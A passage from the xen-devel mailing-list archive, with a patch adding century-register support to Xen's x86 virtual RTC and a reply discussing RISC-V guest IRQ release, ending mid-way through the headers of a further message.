 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 11:31:16 +0200
Received: by mail-wm1-f48.google.com with SMTP id
 5b1f17b1804b1-4938d5f86f3so3223875e9.1
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 02:31:16 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477db3dbacbsm7498135f8f.4.2026.07.02.02.31.15
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 02 Jul 2026 02:31:15 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782984676; x=1783589476; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:content-language
         :references:cc:to:from:subject:user-agent:mime-version:date
         :message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=DyaH8jfrEj4hQ9whXJcni+qiFjc9whuT9c1Kf2l86fU=;
        b=XpA/o+iuXdyhPnXCCcO+7ch6FVt+jyEjvPZyqNAWDcDfcobpbka3o0RigzWSJGPWZW
         JieXBXo5q3v4YLqpS1YT2/109/3pSBPKmraMZEVITm+t3VBSw9s79pxAU5OGISXKCzM1
         nJ3fgYdrR8Mmomg3jrlFriBO/mXuLcd8l/sc6GB+tRqB0Rh6+y3xbO7n7TMwHlsm0tao
         B4omRz/jKicjb5fxS9tX0VYYKp5o63Eu33u3XBe2fZKYR3B1UvqgRWzLaQZeSF087tn6
         V6SSK5zMDEwxDkI3gUH6zlP5+o2rnvTzaKq13CtXUBhIttK2cSdvAhF+kQm9EJWP2qtF
         LaUg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782984676; x=1783589476;
        h=content-transfer-encoding:in-reply-to:autocrypt:content-language
         :references:cc:to:from:subject:user-agent:mime-version:date
         :message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=DyaH8jfrEj4hQ9whXJcni+qiFjc9whuT9c1Kf2l86fU=;
        b=O+Y2hvc1SkcKxsy5SHrNBby88xs7KD+OfE6jcllmW2arFAVwHLC4gMAaaCMMwWeYfD
         FYfWoB1qVhb+ax4SkFppY7rEz5dyTGKjBA6GCiV/W8GxCf+sElfitkaTvuYNpa8NzDYU
         2cmVEYU1/soRYh0HCIXc4Lj0YNSmPnTFj++2jrkEvo6WCY7yHU0sfOb1OFRjNhKZaYXL
         NTC3UNkXm5IKssO+lqsPTzB8AHWsChL6Dp+m1gjat1PDmJj+duryWH1lF6Rsuxm3qn5n
         mUm+InAhcB7NSOgErm7IyHaz8FwtwPgCQIs3Q2ydtMIpAl3Uf7wNiC5MkIC9APGP7oCE
         Qtsg==
X-Gm-Message-State: AOJu0YxW29QbOA6ekOAMOE6M4oA7e0/Jg69PGsRbmJyCsmyfDplIlrWs
	9GSzdELsWdNqUCl055DTKlk7CrXxKRRBJbTRx104BNkhGGaJ4iUtYGsTIU1CeSjmK9gUg7ESryV
	ENcY91g==
X-Gm-Gg: AfdE7ck+3G8ILs6CtnYsiP/+qjZhB6/+18JkNCZWG8nlJyQZsjNBLbl9mZih/TFHea+
	z9IQUjZkR9lJ+7UbjJ9U67kHaumTbUozB/3QjbY9hlVQ5bGYVMLjL42WG29PC8eU1EYFzVY2SKL
	0oMeLhrf9CRzJ/i2ASAVWXVQkbsLm2MuP9L2X4295yrEoD60faxIKiBF6wG+MOJtnUHyjTXR8GD
	R0IaTdxf2NxoIc9M0rSPA903PW+713gIR7I0Dy+wVCNaQHHASGLnmXjNYkjjrIP81F9LTCqZ/NC
	xKJVIn16FVGKMZ/OSTeCl/dlWCYey+fJewJXX5kbMjwNy6dZ3u0zYhgQYHOQ7OxM5ZKCPxxr44+
	Awdti1sqf/i6O8zZk0L2oZmSQHfx6oV7fG4Q4G6brWcFlmeHkF+L/Di9Yf3BF5YNDpparu/bSRH
	3BTUB+QaSG1GL9UBWTk7p8clmsF7rM0I1om2ihBt/lkdczb4aQ10NfCo/ktQw6C65spxxmbQ/jd
	BeR
X-Received: by 2002:a05:600c:3317:b0:490:55d9:149a with SMTP id 5b1f17b1804b1-493bc278166mr87474535e9.18.1782984675774;
        Thu, 02 Jul 2026 02:31:15 -0700 (PDT)
Message-ID: <eee7754d-a7ef-477c-a74d-2104291103bb@suse.com>
Date: Thu, 2 Jul 2026 11:31:14 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v2 4/4] x86/vRTC: support century field
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>
References: <79d50725-3892-4643-b854-bfec9c0c0d79@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i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ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <79d50725-3892-4643-b854-bfec9c0c0d79@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1782984676-0FF1F2B8-7CD43C0D/0/0
X-purgate-type: clean
X-purgate-size: 9785

Both ROMBIOS and SeaBIOS (with CONFIG_QEMU=y, as we build it) blindly
assume availability of this field (at its conventional index 0x32); OVMF
at least has code to inspect FADT. Hence we ought to have supported it
virtually forever.

As the index is beyond RTC_CMOS_SIZE, leverage the padding field in
struct hvm_hw_rtc to hold its value. Update the field only when involved
values are valid BCD century specifiers. Otherwise (for VMs migrated in
from an older hypervisor) leave handling to the DM.

This makes the Linux rtc-cmos driver report y3k compatibility.

In the new rtc_check(), besides checking the new fields also check the
pre-existing pad0 field.

While extending xen-hvmctx.c:dump_rtc() also add RTC offset there.

Fixes: 4ca161214355 ("[HVM] Move RTC emulation into the hypervisor")
Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
Am I overly paranoid with the checking of the field, considering that
Xen 3.x post-dates year 2000 and hence all firmware nowadays usable guests
have ever run with should have been aware of the field? Or am I, quite the
opposite, still not strict enough?

Now that we extend struct hvm_hw_rtc, should we perhaps save not only the
century, but also its index?

Likely more sanity checking could be added to rtc_check(), but that's for
a separate patch imo.

Isn't day-of-week handling flawed? If the field is brought out of sync
with the other values, shouldn't it stay respectively out-of-sync? And
isn't it excessive overhead to go through rtc_set_time() when the field
is updated while SET is clear?

Perhaps we ought to also support alarm day/month features?
---
v2: Don't re-purpose pad0 field of struct hvm_hw_rtc.

--- a/tools/libacpi/static_tables.c
+++ b/tools/libacpi/static_tables.c
@@ -33,6 +33,8 @@ struct acpi_20_facs Facs = {
 #define ACPI_PM_TMR_BLK_BIT_WIDTH           0x20
 #define ACPI_PM_TMR_BLK_BIT_OFFSET          0x00
 
+#define CMOS_CENTURY 0x32 /* Conventional index used also without ACPI */
+
 struct acpi_fadt Fadt = {
     .header = {
         .signature    = ACPI_FADT_SIGNATURE,
@@ -88,7 +90,9 @@ struct acpi_fadt Fadt = {
         .register_bit_width  = ACPI_PM_TMR_BLK_BIT_WIDTH,
         .register_bit_offset = ACPI_PM_TMR_BLK_BIT_OFFSET,
         .address             = ACPI_PM_TMR_BLK_ADDRESS_V1,
-    }
+    },
+
+    .century = CMOS_CENTURY,
 };
 
 struct acpi_20_rsdt Rsdt = {
--- a/tools/misc/xen-hvmctx.c
+++ b/tools/misc/xen-hvmctx.c
@@ -311,7 +311,7 @@ static void dump_rtc(void)
     printf("              0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x, index 0x%02x\n",
            r.cmos_data[8], r.cmos_data[9], r.cmos_data[10], r.cmos_data[11], 
            r.cmos_data[12], r.cmos_data[13], r.cmos_index);
-
+    printf("         century 0x%02x  offset %"PRId64"\n", r.century, r.rtc_offset);
 }
 
 static void dump_hpet(void)
--- a/xen/arch/x86/hvm/rtc.c
+++ b/xen/arch/x86/hvm/rtc.c
@@ -482,16 +482,27 @@ static int rtc_ioport_write(void *opaque
         data &= 0x7f;
         s->hw.cmos_index = data;
         spin_unlock(&s->lock);
-        return (data < RTC_CMOS_SIZE);
+        return data < RTC_CMOS_SIZE || (s->has_century && data == RTC_CENTURY);
     }
 
-    if ( s->hw.cmos_index >= RTC_CMOS_SIZE )
+    switch ( s->hw.cmos_index )
     {
+    case 0 ... RTC_CMOS_SIZE - 1:
+        orig = s->hw.cmos_data[s->hw.cmos_index];
+        break;
+
+    case RTC_CENTURY:
+        if ( s->has_century )
+        {
+            orig = s->hw.century;
+            break;
+        }
+        fallthrough;
+    default:
         spin_unlock(&s->lock);
         return 0;
     }
 
-    orig = s->hw.cmos_data[s->hw.cmos_index];
     switch ( s->hw.cmos_index )
     {
     case RTC_SECONDS_ALARM:
@@ -507,6 +518,7 @@ static int rtc_ioport_write(void *opaque
     case RTC_DAY_OF_MONTH:
     case RTC_MONTH:
     case RTC_YEAR:
+    case RTC_CENTURY:
         /* if in set mode, just write the register */
         if ( (s->hw.cmos_data[RTC_REG_B] & RTC_SET) )
             s->hw.cmos_data[s->hw.cmos_index] = data;
@@ -515,7 +527,10 @@ static int rtc_ioport_write(void *opaque
             /* Fetch the current time and update just this field. */
             s->current_tm = gmtime(get_localtime(d));
             rtc_copy_date(s);
-            s->hw.cmos_data[s->hw.cmos_index] = data;
+            if ( s->hw.cmos_index != RTC_CENTURY )
+                s->hw.cmos_data[s->hw.cmos_index] = data;
+            else
+                s->hw.century = data;
             rtc_set_time(s);
         }
         alarm_timer_update(s);
@@ -591,7 +606,16 @@ static void rtc_set_time(RTCState *s)
     tm->tm_wday = from_bcd(s, s->hw.cmos_data[RTC_DAY_OF_WEEK]);
     tm->tm_mday = from_bcd(s, s->hw.cmos_data[RTC_DAY_OF_MONTH]);
     tm->tm_mon = from_bcd(s, s->hw.cmos_data[RTC_MONTH]) - 1;
-    tm->tm_year = from_bcd(s, s->hw.cmos_data[RTC_YEAR]) + 100;
+    tm->tm_year = from_bcd(s, s->hw.cmos_data[RTC_YEAR]);
+    if ( s->has_century )
+    {
+        unsigned int century = s->hw.century;
+
+        BCD_TO_BIN(century);
+        tm->tm_year += century * 100 - epoch_year;
+    }
+    else
+        tm->tm_year += 100;
 
     after = mktime(get_year(tm->tm_year), tm->tm_mon + 1, tm->tm_mday,
                    tm->tm_hour, tm->tm_min, tm->tm_sec);
@@ -629,6 +653,12 @@ static void rtc_copy_date(RTCState *s)
     s->hw.cmos_data[RTC_DAY_OF_MONTH] = to_bcd(s, tm->tm_mday);
     s->hw.cmos_data[RTC_MONTH] = to_bcd(s, tm->tm_mon + 1);
     s->hw.cmos_data[RTC_YEAR] = to_bcd(s, tm->tm_year % 100);
+
+    if ( s->has_century )
+    {
+        s->hw.century = get_year(tm->tm_year) / 100;
+        BIN_TO_BCD(s->hw.century);
+    }
 }
 
 static int update_in_progress(RTCState *s)
@@ -663,13 +693,17 @@ static uint32_t rtc_ioport_read(RTCState
     case RTC_DAY_OF_MONTH:
     case RTC_MONTH:
     case RTC_YEAR:
+    case RTC_CENTURY:
         /* if not in set mode, adjust cmos before reading*/
         if (!(s->hw.cmos_data[RTC_REG_B] & RTC_SET))
         {
             s->current_tm = gmtime(get_localtime(d));
             rtc_copy_date(s);
         }
-        ret = s->hw.cmos_data[s->hw.cmos_index];
+        if ( s->hw.cmos_index != RTC_CENTURY )
+            ret = s->hw.cmos_data[s->hw.cmos_index];
+        else
+            ret = s->hw.century;
         break;
     case RTC_REG_A:
         ret = s->hw.cmos_data[s->hw.cmos_index];
@@ -718,7 +752,8 @@ static int cf_check handle_rtc_io(
         *val = 0xff;
         return X86EMUL_OKAY;
     }
-    else if ( vrtc->hw.cmos_index < RTC_CMOS_SIZE )
+    else if ( vrtc->hw.cmos_index < RTC_CMOS_SIZE ||
+              (vrtc->has_century && vrtc->hw.cmos_index == RTC_CENTURY) )
     {
         *val = rtc_ioport_read(vrtc);
         return X86EMUL_OKAY;
@@ -760,6 +795,32 @@ static int cf_check rtc_save(struct vcpu
     return rc;
 }
 
+static int cf_check rtc_check(const struct domain *d, hvm_domain_context_t *h)
+{
+    const struct hvm_save_descriptor *desc =
+        (const struct hvm_save_descriptor *)&h->data[h->cur];
+    struct hvm_hw_rtc s;
+
+    if ( !has_vrtc(d) )
+        return -ENODEV;
+
+    if ( hvm_load_entry_zeroextend(RTC, h, &s) != 0 )
+        return -ENODATA;
+
+    if ( s.pad0 )
+        return -EINVAL;
+
+    for ( unsigned int i = 0; i < ARRAY_SIZE(s.pad1); ++i )
+        if ( s.pad1[i] )
+            return -EINVAL;
+
+    if ( desc->length >= endof_field(struct hvm_hw_rtc, century) &&
+         ((s.century & 0xf) >= 10 || (s.century >> 4) >= 10) )
+        return -EINVAL;
+
+    return 0;
+}
+
 /* Reload the hardware state from a saved domain */
 static int cf_check rtc_load(struct domain *d, hvm_domain_context_t *h)
 {
@@ -793,12 +854,18 @@ static int cf_check rtc_load(struct doma
     check_update_timer(s);
     alarm_timer_update(s);
 
+    if ( !s->hw.century )
+    {
+        s->has_century = false;
+        s->hw.century = 0;
+    }
+
     spin_unlock(&s->lock);
 
     return 0;
 }
 
-HVM_REGISTER_SAVE_RESTORE(RTC, rtc_save, NULL, rtc_load, 1, HVMSR_PER_DOM);
+HVM_REGISTER_SAVE_RESTORE(RTC, rtc_save, rtc_check, rtc_load, 1, HVMSR_PER_DOM);
 
 void rtc_reset(struct domain *d)
 {
@@ -873,6 +940,12 @@ void rtc_init(struct domain *d)
     s->hw.cmos_data[RTC_REG_C] = 0;
     s->hw.cmos_data[RTC_REG_D] = RTC_VRT;
 
+    /*
+     * By default we make the century byte available, unless an incoming save
+     * record says otherwise.
+     */
+    s->has_century = true;
+
     s->current_tm = gmtime(get_localtime(d));
     s->start_time = NOW();
 
--- a/xen/arch/x86/include/asm/hvm/vpt.h
+++ b/xen/arch/x86/include/asm/hvm/vpt.h
@@ -109,6 +109,8 @@ typedef struct RTCState {
 
     bool use_timer;
 
+    bool has_century;
+
     spinlock_t lock;
 } RTCState;
 
--- a/xen/arch/x86/include/asm/mc146818rtc.h
+++ b/xen/arch/x86/include/asm/mc146818rtc.h
@@ -37,6 +37,9 @@ bool is_cmos_port(unsigned int port, uns
 #define RTC_REG_C               12
 #define RTC_REG_D               13
 
+/* Conventional index used without (and typically also with) ACPI. */
+#define RTC_CENTURY             0x32
+
 /**********************************************************************
  * register details
  **********************************************************************/
--- a/xen/include/public/arch-x86/hvm/save.h
+++ b/xen/include/public/arch-x86/hvm/save.h
@@ -488,6 +488,8 @@ struct hvm_hw_rtc {
     uint8_t pad0;
     /* RTC offset from host time */
     int64_t rtc_offset;
+    uint8_t century;
+    uint8_t pad1[7];
 };
 
 DECLARE_HVM_SAVE_TYPE(RTC, 11, struct hvm_hw_rtc);



From xen-devel-bounces@lists.xenproject.org Thu Jul 02 09:33:18 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 09:33:18 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351497.1608663 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfDnI-0000th-Vz; Thu, 02 Jul 2026 09:33:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351497.1608663; Thu, 02 Jul 2026 09:33:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfDnI-0000ta-SR; Thu, 02 Jul 2026 09:33:16 +0000
Received: by outflank-mailman (input) for mailman id 1351497;
 Thu, 02 Jul 2026 09:33:15 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wfDnG-0000tU-U5
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 09:33:15 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfDnG-005Cuz-A9
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 11:33:14 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a463056-e002-0a2a0a5209dd-0a2a450cdfda-28
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 11:33:14 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a46305a-f399-0a2a450c0019-d155802abd9c-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 11:33:14 +0200
Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-493bb510ce4so11732985e9.1
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 02:33:14 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-148-111.play-internet.pl.
 [109.243.148.111]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477db3dbacbsm7516228f8f.4.2026.07.02.02.33.12
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 02 Jul 2026 02:33:13 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1782984794; x=1783589594; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :from:to:cc:subject:date:message-id:reply-to;
        bh=IY3SZailvwX528iXXlWraiO7f+IYxbdwbGQ0Wrx2rZ0=;
        b=hcROJ4UYxGY7e9MUcifxRDQfZiWebisIt2pS8M+k2AGsPINxrgmc358NnL8f2eG5NQ
         hEarK1JrW5CCHscmlH0n6Yctya5VPZZykRUzKkR02wUYNNT0PCf7nm6FLI3iT/qd6SlF
         dTBXiZCZ8Mib24na6NlgoSXptGU7xaXUWz6B5Un7+VJbtdgh9v8HBfPGith2kMQ51+p/
         yNaHuqsk1N4DSaaG1Hc6aBLYaVMNKoHuqLbKt6vTbb+9D6oX2OBiqa0On3SJwT1CiDRR
         Vxe9oGeiCclDT8IJjMrIsrGtkZHoeuqUz7VkrzspLZuXQOzlwY1OuKaFRDrn/3EaJ4O5
         pt2g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782984794; x=1783589594;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=IY3SZailvwX528iXXlWraiO7f+IYxbdwbGQ0Wrx2rZ0=;
        b=PnOCrsvkmOPkF3mFrNe3vOLz7AZrqwBnc+9iwoarRjl6EypUlnuVlaPylzCc/fdxR1
         ktZOpkq2h3dqLWaUpXfe7eppb88VqncXB2KHUb4/OFrcIC2ua9+4B66wP6Re1fIuLYvN
         t1CNBSJYBmpasMnFb4j9fM9Ue2SoQB65o3Vcy/XsrRlC2FQd+g7jmDuF1h27LjgrikXu
         2AkY7hZJ4N/RDz73Y0lA3l7qCsr5BAaqqy6895M5Mezu2ut/sc60bIvfoJqq+nxcFnIS
         bSONGmLXn2Fu4XDciNxtNgG3sXMrsDFgT81t6DSsCK956U7M7VX1gRHWc8pEOxHITsLy
         1pag==
X-Forwarded-Encrypted: i=1; AFNElJ9npchuLFoJZyK7I4S+zf0aQ2gXHRXLSJnNT699/tdmcjJLCICi2OMcxCtX9crS4tNmcvHIjHSmFNE=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxcMgvkAp14sB+Pv1JlLvIYo84CBf937nTpSKO/Yzob1l1OA3DE
	OK5L2QJhlAjKucO8Nr5R1UFU2fqlvLsKcErvC72H86Qkbn9cptvksqGs
X-Gm-Gg: AfdE7cnZ1Ut7UG2yLvMa3eK6iGXdol/mh2yarmX0BQzlWy18KIMMTiHugvfqijyUUQe
	+s4CBzoiC12HuC8M89f6DvEWjG3/QT8Thz+b7IQmI2ZazjE2CifenkU/oWjuP/tfJ8Q8r/ZW9+z
	pThHVt1bYux2yGdlQ/sdoBQPiaMzeiPJ6cH7oiHb6d65lzR/oqwaRIK7ULdpOb1M9Ef+Mx3Qrl5
	JUimdbwy9dUfbWtmKr+gu1h+I6TMAXb0Pr51l/WmKoN7CPheDFKlIdpJB6awGBGCJgr8rhFwvF4
	q9nCOmhgduofCav+1BXM82sQPYHCce4hdTll6L/6Yov7JHfaYIpov9+ogKyYmJpMwwUrP/zmldj
	sbIPyig8mVSMK6s7hphcjWJy1qs5fhft+fDv1B44bMjy+dsZ5asn5ONpM2cNayM0OoVjcxEqbNZ
	PmvpwRLFrydqOdCII7BSjaxex5sU3QlTySP88xJqlozjf+mAVem3eGFZpT4s6tHRmrAe1ktOo4t
	yxgXQ==
X-Received: by 2002:a05:600c:6308:b0:493:b915:4a6f with SMTP id 5b1f17b1804b1-493c2b38138mr77225745e9.8.1782984793521;
        Thu, 02 Jul 2026 02:33:13 -0700 (PDT)
Message-ID: <91ffc1b2-7648-4185-a2f1-12b30181c8a9@gmail.com>
Date: Thu, 2 Jul 2026 11:33:12 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 21/25] xen/riscv: implement IRQ routing for device
 passthrough
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 "Daniel P. Smith" <dpsmith@apertussolutions.com>,
 xen-devel@lists.xenproject.org
References: <cover.1782487661.git.oleksii.kurochko@gmail.com>
 <472a77604d35a0bc2a75b71f250fd67b63afde4c.1782487661.git.oleksii.kurochko@gmail.com>
 <ac1a3a08-dc39-4794-ba96-dab4b88c27a3@suse.com>
 <6aafbeb5-2f33-49f4-9d14-937b0bc4d15d@gmail.com>
 <40bcf6b7-306a-419a-bf12-1855f9e589fe@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <40bcf6b7-306a-419a-bf12-1855f9e589fe@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1782984794-91F23D51-74EF1538/10/73395122804
X-purgate-type: spam
X-purgate-size: 1448



On 7/2/26 8:38 AM, Jan Beulich wrote:

>>>> +    spin_unlock_irqrestore(&desc->lock, flags);
>>>> +
>>>> +    release_irq(desc->irq, info);
>>>> +    xvfree(info);
>>>
>>> If, in release_irq(), action isn't freed, it's ->dev_id field will now have
>>> a dangling pointer. (I think I did point this out before.)
>>
>> It should freed in release_irq() as route_irq_to_guest() always set
>> action->free_on_release = true;
> 
> Well, "free_on_release" must exits for a purpose. I.e. there must be, now
> or soon, cases where it's set to false. Else simply drop the field.
> 

I can't simply remove this field because it is part of the common 
`struct irqaction` and is used by other arc-s. (I assume that it is not 
what you fully meant...)

IIUC, this field is used to determine whether an irqaction is 
heap-allocated (and therefore should be freed) or statically allocated 
(and therefore should not be freed).

At the moment, all IRQ actions are heap-allocated (on RISC-V), so 
free_on_release should always be set to true. In particular, the code 
snippet you asked about releases a guest interrupt, and guest interrupt 
actions are always heap-allocated. As a result, when release_guest_irq() 
calls release_irq(), the associated irqaction will be freed.

So, from what I can see, the current behavior is correct and I think it 
should be left as it is. Do you have any concerns about this?

~ Oleksii




From xen-devel-bounces@lists.xenproject.org Thu Jul 02 09:47:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 09:47:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351516.1608672 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfE10-0003mx-5x; Thu, 02 Jul 2026 09:47:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351516.1608672; Thu, 02 Jul 2026 09:47:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfE10-0003mq-2q; Thu, 02 Jul 2026 09:47:26 +0000
Received: by outflank-mailman (input) for mailman id 1351516;
 Thu, 02 Jul 2026 09:47:24 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <stojkovicdusan555@gmail.com>) id 1wfE0x-0003mj-Sz
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 09:47:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfE0x-005v0l-9U
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 11:47:23 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <stojkovicdusan555@gmail.com>)
 id 6a4633aa-e002-0a2a0a5209dd-0a2a4503d058-6
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 11:47:23 +0200
Received: from [209.85.128.54] (helo=mail-wm1-f54.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <stojkovicdusan555@gmail.com>)
 id 6a4633ab-ec1a-0a2a45030019-d1558036bdb0-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 11:47:23 +0200
Received: by mail-wm1-f54.google.com with SMTP id
 5b1f17b1804b1-493bb510ce4so11840455e9.1
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 02:47:23 -0700 (PDT)
Received: from RTRKN1313-LIN.domain.local ([89.216.37.146])
 by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477db8a4a15sm7539152f8f.14.2026.07.02.02.47.20
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Thu, 02 Jul 2026 02:47:22 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
